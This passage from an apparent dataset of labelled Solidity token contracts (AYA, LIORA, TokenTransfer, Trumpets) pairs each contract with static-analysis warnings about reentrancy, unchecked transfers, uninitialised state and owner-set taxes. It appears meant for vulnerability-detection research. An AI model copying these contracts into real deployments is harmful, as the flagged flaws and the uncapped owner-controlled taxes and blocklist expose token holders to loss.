call.\n\t// Recommendation for 1422bdb: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (unused-return | severity: Medium | ID: e583507): AYA.enableTrading() ignores return value by IERC20(uniswapV2Pair).approve(address(uniswapV2Router),type()(uint256).max)\n\t// Recommendation for e583507: Ensure that all the return values of the function calls are used.\n\t// WARNING Vulnerability (unused-return | severity: Medium | ID: 4a7067a): AYA.enableTrading() ignores return value by uniswapV2Router.addLiquidityETH{value address(this).balance}(address(this),balanceOf(address(this)),0,0,owner(),block.timestamp)\n\t// Recommendation for 4a7067a: Ensure that all the return values of the function calls are used.\n\t// WARNING Vulnerability (reentrancy-eth | severity: High | ID: cd5d5ed): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Do not report reentrancies that don't involve Ether.\n\t// Recommendation for cd5d5ed: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n function enableTrading() external onlyOwner {\n require(!tradingOpen, \"trading is already open\");\n\n uniswapV2Router = IUniswapV2Router02(\n 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D\n );\n\n _approve(address(this), address(uniswapV2Router), _tTotal);\n\n\t\t// reentrancy-benign | ID: f9b58f8\n\t\t// reentrancy-benign | ID: 1422bdb\n\t\t// reentrancy-eth | ID: cd5d5ed\n uniswapV2Pair = IUniswapV2Factory(uniswapV2Router.factory()).createPair(\n address(this),\n uniswapV2Router.WETH()\n );\n\n\t\t// reentrancy-benign | ID: f9b58f8\n marketPair[address(uniswapV2Pair)] = true;\n\n\t\t// reentrancy-benign | ID: f9b58f8\n isExile[address(uniswapV2Pair)] = true;\n\n\t\t// reentrancy-benign | ID: 1422bdb\n\t\t// unused-return | ID: 4a7067a\n\t\t// reentrancy-eth | ID: cd5d5ed\n uniswapV2Router.addLiquidityETH{value: address(this).balance}(\n address(this),\n balanceOf(address(this)),\n 0,\n 0,\n owner(),\n block.timestamp\n );\n\n\t\t// reentrancy-benign | ID: 1422bdb\n\t\t// unused-return | ID: e583507\n\t\t// reentrancy-eth | ID: cd5d5ed\n IERC20(uniswapV2Pair).approve(address(uniswapV2Router), type(uint).max);\n\n\t\t// reentrancy-benign | ID: 1422bdb\n swapEnabled = true;\n\n\t\t// reentrancy-eth | ID: cd5d5ed\n tradingOpen = true;\n\n\t\t// reentrancy-benign | ID: 1422bdb\n firstBlock = block.number;\n }\n\n receive() external payable {}\n}\n",
"file_name": "solidity_code_10735.sol",
"size_bytes": 22077,
"vulnerability": 4
} |
{
"code": "// SPDX-License-Identifier: MIT\npragma solidity ^0.8.0;\n\ninterface IERC20 {\n function transfer(\n address recipient,\n uint256 amount\n ) external returns (bool);\n}\n\ncontract TokenTransfer {\n address public owner;\n\n constructor() {\n owner = msg.sender;\n }\n\n modifier onlyOwner() {\n require(msg.sender == owner, \"Only the owner can call this function.\");\n\n _;\n }\n\n\t// WARNING Vulnerability (unchecked-transfer | severity: High | ID: 0ee11f0): TokenTransfer.transferTokens(address,address,uint256) ignores return value by IERC20(token).transfer(recipient,amount)\n\t// Recommendation for 0ee11f0: Use 'SafeERC20', or ensure that the 'transfer'/'transferFrom' return value is checked.\n function transferTokens(\n address token,\n address recipient,\n uint256 amount\n ) external onlyOwner {\n\t\t// unchecked-transfer | ID: 0ee11f0\n IERC20(token).transfer(recipient, amount);\n }\n\n\t// WARNING Vulnerability (events-access | severity: Low | ID: 01eefc3): TokenTransfer.transferOwnership(address) should emit an event for owner = newOwner \n\t// Recommendation for 01eefc3: Emit an event for critical parameter changes.\n function transferOwnership(address newOwner) external onlyOwner {\n require(newOwner != address(0), \"New owner cannot be address zero.\");\n\n\t\t// events-access | ID: 01eefc3\n owner = newOwner;\n }\n}\n",
"file_name": "solidity_code_10736.sol",
"size_bytes": 1411,
"vulnerability": 4
} |
{
"code": "// SPDX-License-Identifier: MIT\npragma solidity ^0.8.0;\n\nabstract contract Context {\n function _msgSender() internal view virtual returns (address) {\n return msg.sender;\n }\n}\n\ninterface IERC20 {\n function totalSupply() external view returns (uint256);\n\n function balanceOf(address account) external view returns (uint256);\n\n function transfer(\n address recipient,\n uint256 amount\n ) external returns (bool);\n\n function allowance(\n address owner,\n address spender\n ) external view returns (uint256);\n\n function approve(address spender, uint256 amount) external returns (bool);\n\n function transferFrom(\n address sender,\n address recipient,\n uint256 amount\n ) external returns (bool);\n\n event Transfer(address indexed from, address indexed to, uint256 value);\n\n event Approval(\n address indexed owner,\n address indexed spender,\n uint256 value\n );\n}\n\ncontract Ownable is Context {\n address private _owner;\n\n event OwnershipTransferred(\n address indexed previousOwner,\n address indexed newOwner\n );\n\n constructor() {\n address msgSender = _msgSender();\n\n _owner = msgSender;\n\n emit OwnershipTransferred(address(0), msgSender);\n }\n\n function owner() public view returns (address) {\n return _owner;\n }\n\n modifier onlyOwner() {\n require(_owner == _msgSender(), \"Ownable: caller is not the owner\");\n\n _;\n }\n\n function renounceOwnership() public virtual onlyOwner {\n emit OwnershipTransferred(_owner, address(0));\n\n _owner = address(0);\n }\n}\n\ninterface IUniswapV2Factory {\n function createPair(\n address tokenA,\n address tokenB\n ) external returns (address pair);\n}\n\ninterface IUniswapV2Router02 {\n function swapExactTokensForETHSupportingFeeOnTransferTokens(\n uint amountIn,\n uint amountOutMin,\n address[] calldata path,\n address to,\n uint deadline\n ) external;\n\n function factory() external pure returns (address);\n\n function WETH() external pure returns (address);\n\n function addLiquidityETH(\n address token,\n uint amountTokenDesired,\n uint amountTokenMin,\n uint amountETHMin,\n address to,\n uint deadline\n )\n external\n payable\n returns (uint amountToken, uint amountETH, uint liquidity);\n}\n\ncontract LIORA is Context, IERC20, Ownable {\n mapping(address => uint256) private _balances;\n\n mapping(address => mapping(address => uint256)) private _allowances;\n\n mapping(address => bool) private _isExcludedFromFee;\n\n\t// WARNING Optimization Issue (immutable-states | ID: eacb24b): LIORA._devWallet should be immutable \n\t// Recommendation for eacb24b: Add the 'immutable' attribute to state variables that never change or are set only in the constructor.\n address payable private _devWallet;\n\n\t// WARNING Optimization Issue (immutable-states | ID: 375cf29): LIORA._marketingWallet should be immutable \n\t// Recommendation for 375cf29: Add the 'immutable' attribute to state variables that never change or are set only in the constructor.\n address payable private _marketingWallet;\n\n string private constant _name = unicode\"Liora Care\";\n\n string private constant _symbol = unicode\"LIORA\";\n\n uint8 private constant _decimals = 18;\n\n uint256 private constant _tTotal = 10 * 1e8 * 10 ** _decimals;\n\n uint256 public _BuyTax = 15;\n\n uint256 public _SellTax = 25;\n\n uint256 public _maxTxAmount = (_tTotal * 2) / 100;\n\n uint256 public _maxWalletSize = (_tTotal * 2) / 100;\n\n\t// WARNING Optimization Issue (constable-states | ID: cffef07): LIORA._taxSwapThreshold should be constant \n\t// Recommendation for cffef07: Add the 'constant' attribute to state variables that never change.\n uint256 public _taxSwapThreshold = (_tTotal * 5) / 10000;\n\n\t// WARNING Optimization Issue (constable-states | ID: b78ef2b): LIORA._maxTaxSwap should be constant \n\t// Recommendation for b78ef2b: Add the 'constant' attribute to state variables that never change.\n uint256 public _maxTaxSwap = (_tTotal * 1) / 100;\n\n IUniswapV2Router02 private uniswapV2Router;\n\n address private uniswapV2Pair;\n\n bool private tradingOpen;\n\n bool private inSwap = false;\n\n bool private swapEnabled = false;\n\n event MaxTxAmountUpdated(uint _maxTxAmount);\n\n modifier lockTheSwap() {\n inSwap = true;\n\n _;\n\n inSwap = false;\n }\n\n constructor() {\n _devWallet = payable(_msgSender());\n\n _marketingWallet = payable(0x524576C4634E818d7A005a96335fF216ca96024e);\n\n _balances[_msgSender()] = _tTotal;\n\n _isExcludedFromFee[owner()] = true;\n\n _isExcludedFromFee[address(this)] = true;\n\n _isExcludedFromFee[_devWallet] = true;\n\n _isExcludedFromFee[_marketingWallet] = true;\n\n emit Transfer(address(0), _msgSender(), _tTotal);\n }\n\n function name() public pure returns (string memory) {\n return _name;\n }\n\n function symbol() public pure returns (string memory) {\n return _symbol;\n }\n\n function decimals() public pure returns (uint8) {\n return _decimals;\n }\n\n function totalSupply() public pure override returns (uint256) {\n return _tTotal;\n }\n\n function balanceOf(address account) public view override returns (uint256) {\n return _balances[account];\n }\n\n function transfer(\n address recipient,\n uint256 amount\n ) public override returns (bool) {\n _transfer(_msgSender(), recipient, amount);\n\n return true;\n }\n\n\t// WARNING Vulnerability (shadowing-local | severity: Low | ID: 3e6a416): LIORA.allowance(address,address).owner shadows Ownable.owner() (function)\n\t// Recommendation for 3e6a416: Rename the local variables that shadow another component.\n function allowance(\n address owner,\n address spender\n ) public view override returns (uint256) {\n return _allowances[owner][spender];\n }\n\n function approve(\n address spender,\n uint256 amount\n ) public override returns (bool) {\n _approve(_msgSender(), spender, amount);\n\n return true;\n }\n\n\t// WARNING Vulnerability (reentrancy-events | severity: Low | ID: 814ceec): Reentrancies (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy') that allow manipulation of the order or value of events.\n\t// Recommendation for 814ceec: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (reentrancy-eth | severity: High | ID: a722a0b): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Do not report reentrancies that don't involve Ether.\n\t// Recommendation for a722a0b: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n function transferFrom(\n address sender,\n address recipient,\n uint256 amount\n ) public override returns (bool) {\n require(\n _allowances[sender][_msgSender()] >= amount,\n \"Transfer amount exceeds allowance\"\n );\n\n\t\t// reentrancy-events | ID: 814ceec\n\t\t// reentrancy-eth | ID: a722a0b\n _transfer(sender, recipient, amount);\n\n\t\t// reentrancy-events | ID: 814ceec\n\t\t// reentrancy-eth | ID: a722a0b\n _approve(\n sender,\n _msgSender(),\n _allowances[sender][_msgSender()] - amount\n );\n\n return true;\n }\n\n\t// WARNING Vulnerability (shadowing-local | severity: Low | ID: 4cb37fd): LIORA._approve(address,address,uint256).owner shadows Ownable.owner() (function)\n\t// Recommendation for 4cb37fd: Rename the local variables that shadow another component.\n function _approve(address owner, address spender, uint256 amount) private {\n require(\n owner != address(0),\n \"ERC20: Can't approve from the zero address\"\n );\n\n require(\n spender != address(0),\n \"ERC20: Can't approve to the zero address\"\n );\n\n\t\t// reentrancy-eth | ID: a722a0b\n _allowances[owner][spender] = amount;\n\n\t\t// reentrancy-events | ID: 814ceec\n emit Approval(owner, spender, amount);\n }\n\n\t// WARNING Vulnerability (reentrancy-events | severity: Low | ID: c58e80b): Reentrancies (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy') that allow manipulation of the order or value of events.\n\t// Recommendation for c58e80b: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (reentrancy-eth | severity: High | ID: 29e6734): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Do not report reentrancies that don't involve Ether.\n\t// Recommendation for 29e6734: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n function _transfer(address from, address to, uint256 amount) private {\n require(\n from != address(0),\n \"ERC20: Can't transfer from the zero address\"\n );\n\n require(to != address(0), \"ERC20: Can't transfer to the zero address\");\n\n require(amount > 0, \"Transfer amount must be greater than zero\");\n\n uint256 taxAmount = 0;\n\n if (!_isExcludedFromFee[from] && !_isExcludedFromFee[to]) {\n if (from == uniswapV2Pair && to != address(uniswapV2Router)) {\n require(amount < _maxTxAmount, \"Exceeds the _maxTxAmount.\");\n\n require(\n balanceOf(to) + amount < _maxWalletSize,\n \"Exceeds the _maxWalletSize.\"\n );\n }\n\n if (from == uniswapV2Pair && to != address(this)) {\n taxAmount = (amount * _BuyTax) / 100;\n }\n\n if (to == uniswapV2Pair && from != address(this)) {\n taxAmount = (amount * _SellTax) / 100;\n }\n\n uint256 contractTokenBalance = balanceOf(address(this));\n\n if (\n !inSwap &&\n to == uniswapV2Pair &&\n swapEnabled &&\n contractTokenBalance > _taxSwapThreshold\n ) {\n uint256 amountToSwap = (amount < contractTokenBalance &&\n amount < _maxTaxSwap)\n ? amount\n : (contractTokenBalance < _maxTaxSwap)\n ? contractTokenBalance\n : _maxTaxSwap;\n\n\t\t\t\t// reentrancy-events | ID: c58e80b\n\t\t\t\t// reentrancy-eth | ID: 29e6734\n swapTokensForEth(amountToSwap);\n\n uint256 contractETHBalance = address(this).balance;\n\n if (contractETHBalance > 0) {\n\t\t\t\t\t// reentrancy-events | ID: c58e80b\n\t\t\t\t\t// reentrancy-eth | ID: 29e6734\n sendETHToFee(address(this).balance);\n }\n }\n }\n\n if (taxAmount > 0) {\n\t\t\t// reentrancy-eth | ID: 29e6734\n _balances[address(this)] += taxAmount;\n\n\t\t\t// reentrancy-events | ID: c58e80b\n emit Transfer(from, address(this), taxAmount);\n }\n\n\t\t// reentrancy-eth | ID: 29e6734\n _balances[from] = _balances[from] - amount;\n\n\t\t// reentrancy-eth | ID: 29e6734\n _balances[to] = _balances[to] + (amount - taxAmount);\n\n\t\t// reentrancy-events | ID: c58e80b\n emit Transfer(from, to, amount - taxAmount);\n }\n\n function swapTokensForEth(uint256 tokenAmount) private lockTheSwap {\n if (tokenAmount == 0) {\n return;\n }\n\n if (!tradingOpen) {\n return;\n }\n\n address[] memory path = new address[](2);\n\n path[0] = address(this);\n\n path[1] = uniswapV2Router.WETH();\n\n _approve(address(this), address(uniswapV2Router), tokenAmount);\n\n\t\t// reentrancy-events | ID: 814ceec\n\t\t// reentrancy-events | ID: c58e80b\n\t\t// reentrancy-eth | ID: 29e6734\n\t\t// reentrancy-eth | ID: a722a0b\n uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(\n tokenAmount,\n 0,\n path,\n address(this),\n block.timestamp\n );\n }\n\n\t// WARNING Vulnerability (events-maths | severity: Low | ID: 7554c17): LIORA.updateTax(uint256,uint256) should emit an event for _BuyTax = BuyTax _SellTax = SellTax \n\t// Recommendation for 7554c17: Emit an event for critical parameter changes.\n function updateTax(uint256 BuyTax, uint256 SellTax) external onlyOwner {\n\t\t// events-maths | ID: 7554c17\n _BuyTax = BuyTax;\n\n\t\t// events-maths | ID: 7554c17\n _SellTax = SellTax;\n }\n\n function removeLimits() external onlyOwner {\n _maxTxAmount = _tTotal;\n\n _maxWalletSize = _tTotal;\n\n emit MaxTxAmountUpdated(_tTotal);\n }\n\n\t// WARNING Vulnerability (reentrancy-benign | severity: Low | ID: 6fdba50): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Only report reentrancy that acts as a double call.\n\t// Recommendation for 6fdba50: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (unused-return | severity: Medium | ID: 3ec0a10): LIORA.openTrading() ignores return value by uniswapV2Router.addLiquidityETH{value address(this).balance}(address(this),balanceOf(address(this)),0,0,owner(),block.timestamp)\n\t// Recommendation for 3ec0a10: Ensure that all the return values of the function calls are used.\n\t// WARNING Vulnerability (unused-return | severity: Medium | ID: 71406c4): LIORA.openTrading() ignores return value by IERC20(uniswapV2Pair).approve(address(uniswapV2Router),type()(uint256).max)\n\t// Recommendation for 71406c4: Ensure that all the return values of the function calls are used.\n\t// WARNING Vulnerability (reentrancy-eth | severity: High | ID: 863c946): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Do not report reentrancies that don't involve Ether.\n\t// Recommendation for 863c946: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n function openTrading() external onlyOwner {\n require(!tradingOpen, \"Trading is already open\");\n\n uniswapV2Router = IUniswapV2Router02(\n 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D\n );\n\n _approve(address(this), address(uniswapV2Router), _tTotal);\n\n\t\t// reentrancy-benign | ID: 6fdba50\n\t\t// reentrancy-eth | ID: 863c946\n uniswapV2Pair = IUniswapV2Factory(uniswapV2Router.factory()).createPair(\n address(this),\n uniswapV2Router.WETH()\n );\n\n\t\t// reentrancy-benign | ID: 6fdba50\n\t\t// unused-return | ID: 3ec0a10\n\t\t// reentrancy-eth | ID: 863c946\n uniswapV2Router.addLiquidityETH{value: address(this).balance}(\n address(this),\n balanceOf(address(this)),\n 0,\n 0,\n owner(),\n block.timestamp\n );\n\n\t\t// reentrancy-benign | ID: 6fdba50\n\t\t// unused-return | ID: 71406c4\n\t\t// reentrancy-eth | ID: 863c946\n IERC20(uniswapV2Pair).approve(address(uniswapV2Router), type(uint).max);\n\n\t\t// reentrancy-benign | ID: 6fdba50\n swapEnabled = true;\n\n\t\t// reentrancy-eth | ID: 863c946\n tradingOpen = true;\n }\n\n function manualSwap() external onlyOwner {\n uint256 tokenBalance = balanceOf(address(this));\n\n if (tokenBalance > 0) {\n swapTokensForEth(tokenBalance);\n }\n\n uint256 ethBalance = address(this).balance;\n\n if (ethBalance > 0) {\n sendETHToFee(ethBalance);\n }\n }\n\n function sendETHToFee(uint256 amount) private {\n\t\t// reentrancy-events | ID: 814ceec\n\t\t// reentrancy-events | ID: c58e80b\n\t\t// reentrancy-eth | ID: 29e6734\n\t\t// reentrancy-eth | ID: a722a0b\n _marketingWallet.transfer(amount);\n }\n\n receive() external payable {}\n}\n",
"file_name": "solidity_code_10737.sol",
"size_bytes": 16246,
"vulnerability": 4
} |
{
"code": "// SPDX-License-Identifier: UNLICENSE\npragma solidity ^0.8.0;\n\nabstract contract Context {\n function _msgSender() internal view virtual returns (address) {\n return msg.sender;\n }\n}\n\ninterface IERC20 {\n function totalSupply() external view returns (uint256);\n\n function balanceOf(address account) external view returns (uint256);\n\n function transfer(\n address recipient,\n uint256 amount\n ) external returns (bool);\n\n function allowance(\n address owner,\n address spender\n ) external view returns (uint256);\n\n function approve(address spender, uint256 amount) external returns (bool);\n\n function transferFrom(\n address sender,\n address recipient,\n uint256 amount\n ) external returns (bool);\n\n event Transfer(address indexed from, address indexed to, uint256 value);\n\n event Approval(\n address indexed owner,\n address indexed spender,\n uint256 value\n );\n}\n\nlibrary SafeMath {\n function add(uint256 a, uint256 b) internal pure returns (uint256) {\n uint256 c = a + b;\n\n require(c >= a, \"SafeMath: addition overflow\");\n\n return c;\n }\n\n function sub(uint256 a, uint256 b) internal pure returns (uint256) {\n return sub(a, b, \"SafeMath: subtraction overflow\");\n }\n\n function sub(\n uint256 a,\n uint256 b,\n string memory errorMessage\n ) internal pure returns (uint256) {\n require(b <= a, errorMessage);\n\n uint256 c = a - b;\n\n return c;\n }\n\n function mul(uint256 a, uint256 b) internal pure returns (uint256) {\n if (a == 0) {\n return 0;\n }\n\n uint256 c = a * b;\n\n require(c / a == b, \"SafeMath: multiplication overflow\");\n\n return c;\n }\n\n function div(uint256 a, uint256 b) internal pure returns (uint256) {\n return div(a, b, \"SafeMath: division by zero\");\n }\n\n function div(\n uint256 a,\n uint256 b,\n string memory errorMessage\n ) internal pure returns (uint256) {\n require(b > 0, errorMessage);\n\n uint256 c = a / b;\n\n return c;\n }\n}\n\ncontract Ownable is Context {\n address private _owner;\n\n event OwnershipTransferred(\n address indexed previousOwner,\n address indexed newOwner\n );\n\n constructor() {\n address msgSender = _msgSender();\n\n _owner = msgSender;\n\n emit OwnershipTransferred(address(0), msgSender);\n }\n\n function owner() public view returns (address) {\n return _owner;\n }\n\n modifier onlyOwner() {\n require(_owner == _msgSender(), \"Ownable: caller is not the owner\");\n\n _;\n }\n\n function renounceOwnership() public virtual onlyOwner {\n emit OwnershipTransferred(_owner, address(0));\n\n _owner = address(0);\n }\n}\n\ninterface IUniswapV2Factory {\n function createPair(\n address tokenA,\n address tokenB\n ) external returns (address pair);\n}\n\ninterface IUniswapV2Router02 {\n function swapExactTokensForETHSupportingFeeOnTransferTokens(\n uint amountIn,\n uint amountOutMin,\n address[] calldata path,\n address to,\n uint deadline\n ) external;\n\n function factory() external pure returns (address);\n\n function WETH() external pure returns (address);\n\n function addLiquidityETH(\n address token,\n uint amountTokenDesired,\n uint amountTokenMin,\n uint amountETHMin,\n address to,\n uint deadline\n )\n external\n payable\n returns (uint amountToken, uint amountETH, uint liquidity);\n}\n\ncontract Trumpets is Context, IERC20, Ownable {\n using SafeMath for uint256;\n\n mapping(address => uint256) private _balances;\n\n mapping(address => mapping(address => uint256)) private _allowances;\n\n mapping(address => bool) private _isExcludedFromFee;\n\n\t// WARNING Vulnerability (uninitialized-state | severity: High | ID: 0ba810b): Trumpets.bots is never initialized. It is used in Trumpets._transfer(address,address,uint256)\n\t// Recommendation for 0ba810b: Initialize all the variables. If a variable is meant to be initialized to zero, explicitly set it to zero to improve code readability.\n mapping(address => bool) private bots;\n\n\t// WARNING Optimization Issue (immutable-states | ID: 1a007d2): Trumpets._taxWallet should be immutable \n\t// Recommendation for 1a007d2: Add the 'immutable' attribute to state variables that never change or are set only in the constructor.\n address payable private _taxWallet;\n\n\t// WARNING Optimization Issue (constable-states | ID: 101699d): Trumpets._initialBuyTax should be constant \n\t// Recommendation for 101699d: Add the 'constant' attribute to state variables that never change.\n uint256 private _initialBuyTax = 22;\n\n\t// WARNING Optimization Issue (constable-states | ID: 6f31db9): Trumpets._initialSellTax should be constant \n\t// Recommendation for 6f31db9: Add the 'constant' attribute to state variables that never change.\n uint256 private _initialSellTax = 22;\n\n uint256 private _finalBuyTax = 0;\n\n uint256 private _finalSellTax = 0;\n\n\t// WARNING Optimization Issue (constable-states | ID: ab0e346): Trumpets._reduceBuyTaxAt should be constant \n\t// Recommendation for ab0e346: Add the 'constant' attribute to state variables that never change.\n uint256 private _reduceBuyTaxAt = 22;\n\n\t// WARNING Optimization Issue (constable-states | ID: 0e55aa0): Trumpets._reduceSellTaxAt should be constant \n\t// Recommendation for 0e55aa0: Add the 'constant' attribute to state variables that never change.\n uint256 private _reduceSellTaxAt = 22;\n\n\t// WARNING Optimization Issue (constable-states | ID: 4910834): Trumpets._preventSwapBefore should be constant \n\t// Recommendation for 4910834: Add the 'constant' attribute to state variables that never change.\n uint256 private _preventSwapBefore = 22;\n\n uint256 private _transferTax = 50;\n\n uint256 private _buyCount = 0;\n\n uint8 private constant _decimals = 9;\n\n uint256 private constant _tTotal = 100000000000 * 10 ** _decimals;\n\n string private constant _name = unicode\"Pets Lives Matter\";\n\n string private constant _symbol = unicode\"TRUMPETS\";\n\n uint256 public _maxTxAmount = 2000000000 * 10 ** _decimals;\n\n uint256 public _maxWalletSize = 2000000000 * 10 ** _decimals;\n\n\t// WARNING Optimization Issue (constable-states | ID: d007062): Trumpets._taxSwapThreshold should be constant \n\t// Recommendation for d007062: Add the 'constant' attribute to state variables that never change.\n uint256 public _taxSwapThreshold = 1000000000 * 10 ** _decimals;\n\n\t// WARNING Optimization Issue (constable-states | ID: 9bd367b): Trumpets._maxTaxSwap should be constant \n\t// Recommendation for 9bd367b: Add the 'constant' attribute to state variables that never change.\n uint256 public _maxTaxSwap = 1600000000 * 10 ** _decimals;\n\n IUniswapV2Router02 private uniswapV2Router;\n\n address private uniswapV2Pair;\n\n bool private tradingOpen;\n\n bool private inSwap = false;\n\n bool private swapEnabled = false;\n\n uint256 private sellCount = 0;\n\n uint256 private lastSellBlock = 0;\n\n event MaxTxAmountUpdated(uint _maxTxAmount);\n\n event TransferTaxUpdated(uint _tax);\n\n modifier lockTheSwap() {\n inSwap = true;\n\n _;\n\n inSwap = false;\n }\n\n constructor() {\n _taxWallet = payable(_msgSender());\n\n _balances[_msgSender()] = _tTotal;\n\n _isExcludedFromFee[owner()] = true;\n\n _isExcludedFromFee[address(this)] = true;\n\n _isExcludedFromFee[_taxWallet] = true;\n\n emit Transfer(address(0), _msgSender(), _tTotal);\n }\n\n function name() public pure returns (string memory) {\n return _name;\n }\n\n function symbol() public pure returns (string memory) {\n return _symbol;\n }\n\n function decimals() public pure returns (uint8) {\n return _decimals;\n }\n\n function totalSupply() public pure override returns (uint256) {\n return _tTotal;\n }\n\n function balanceOf(address account) public view override returns (uint256) {\n return _balances[account];\n }\n\n function transfer(\n address recipient,\n uint256 amount\n ) public override returns (bool) {\n _transfer(_msgSender(), recipient, amount);\n\n return true;\n }\n\n\t// WARNING Vulnerability (shadowing-local | severity: Low | ID: bb8c902): Trumpets.allowance(address,address).owner shadows Ownable.owner() (function)\n\t// Recommendation for bb8c902: Rename the local variables that shadow another component.\n function allowance(\n address owner,\n address spender\n ) public view override returns (uint256) {\n return _allowances[owner][spender];\n }\n\n function approve(\n address spender,\n uint256 amount\n ) public override returns (bool) {\n _approve(_msgSender(), spender, amount);\n\n return true;\n }\n\n\t// WARNING Vulnerability (reentrancy-events | severity: Low | ID: d207e65): Reentrancies (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy') that allow manipulation of the order or value of events.\n\t// Recommendation for d207e65: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (reentrancy-benign | severity: Low | ID: 6c678b6): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Only report reentrancy that acts as a double call.\n\t// Recommendation for 6c678b6: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n function transferFrom(\n address sender,\n address recipient,\n uint256 amount\n ) public override returns (bool) {\n\t\t// reentrancy-events | ID: d207e65\n\t\t// reentrancy-benign | ID: 6c678b6\n _transfer(sender, recipient, amount);\n\n\t\t// reentrancy-events | ID: d207e65\n\t\t// reentrancy-benign | ID: 6c678b6\n _approve(\n sender,\n _msgSender(),\n _allowances[sender][_msgSender()].sub(\n amount,\n \"ERC20: transfer amount exceeds allowance\"\n )\n );\n\n return true;\n }\n\n\t// WARNING Vulnerability (shadowing-local | severity: Low | ID: 23ac244): Trumpets._approve(address,address,uint256).owner shadows Ownable.owner() (function)\n\t// Recommendation for 23ac244: Rename the local variables that shadow another component.\n function _approve(address owner, address spender, uint256 amount) private {\n require(owner != address(0), \"ERC20: approve from the zero address\");\n\n require(spender != address(0), \"ERC20: approve to the zero address\");\n\n\t\t// reentrancy-benign | ID: 6c678b6\n _allowances[owner][spender] = amount;\n\n\t\t// reentrancy-events | ID: d207e65\n emit Approval(owner, spender, amount);\n }\n\n\t// WARNING Vulnerability (reentrancy-events | severity: Low | ID: 0d37695): Reentrancies (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy') that allow manipulation of the order or value of events.\n\t// Recommendation for 0d37695: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (uninitialized-state | severity: High | ID: 0ba810b): Trumpets.bots is never initialized. It is used in Trumpets._transfer(address,address,uint256)\n\t// Recommendation for 0ba810b: Initialize all the variables. If a variable is meant to be initialized to zero, explicitly set it to zero to improve code readability.\n\t// WARNING Vulnerability (reentrancy-eth | severity: High | ID: 1cf0420): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Do not report reentrancies that don't involve Ether.\n\t// Recommendation for 1cf0420: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n function _transfer(address from, address to, uint256 amount) private {\n require(from != address(0), \"ERC20: transfer from the zero address\");\n\n require(to != address(0), \"ERC20: transfer to the zero address\");\n\n require(amount > 0, \"Transfer amount must be greater than zero\");\n\n uint256 taxAmount = 0;\n\n if (from != owner() && to != owner() && to != _taxWallet) {\n require(!bots[from] && !bots[to]);\n\n if (_buyCount == 0) {\n taxAmount = amount\n .mul(\n (_buyCount > _reduceBuyTaxAt)\n ? _finalBuyTax\n : _initialBuyTax\n )\n .div(100);\n }\n\n if (_buyCount > 0) {\n taxAmount = amount.mul(_transferTax).div(100);\n }\n\n if (\n from == uniswapV2Pair &&\n to != address(uniswapV2Router) &&\n !_isExcludedFromFee[to]\n ) {\n require(amount <= _maxTxAmount, \"Exceeds the _maxTxAmount.\");\n\n require(\n balanceOf(to) + amount <= _maxWalletSize,\n \"Exceeds the maxWalletSize.\"\n );\n\n taxAmount = amount\n .mul(\n (_buyCount > _reduceBuyTaxAt)\n ? _finalBuyTax\n : _initialBuyTax\n )\n .div(100);\n\n _buyCount++;\n }\n\n if (to == uniswapV2Pair && from != address(this)) {\n taxAmount = amount\n .mul(\n (_buyCount > _reduceSellTaxAt)\n ? _finalSellTax\n : _initialSellTax\n )\n .div(100);\n }\n\n uint256 contractTokenBalance = balanceOf(address(this));\n\n if (\n !inSwap &&\n to == uniswapV2Pair &&\n swapEnabled &&\n contractTokenBalance > _taxSwapThreshold &&\n _buyCount > _preventSwapBefore\n ) {\n if (block.number > lastSellBlock) {\n sellCount = 0;\n }\n\n require(sellCount < 3, \"Only 3 sells per block!\");\n\n\t\t\t\t// reentrancy-events | ID: 0d37695\n\t\t\t\t// reentrancy-eth | ID: 1cf0420\n swapTokensForEth(\n min(amount, min(contractTokenBalance, _maxTaxSwap))\n );\n\n uint256 contractETHBalance = address(this).balance;\n\n if (contractETHBalance > 0) {\n\t\t\t\t\t// reentrancy-events | ID: 0d37695\n\t\t\t\t\t// reentrancy-eth | ID: 1cf0420\n sendETHToFee(address(this).balance);\n }\n\n\t\t\t\t// reentrancy-eth | ID: 1cf0420\n sellCount++;\n\n\t\t\t\t// reentrancy-eth | ID: 1cf0420\n lastSellBlock = 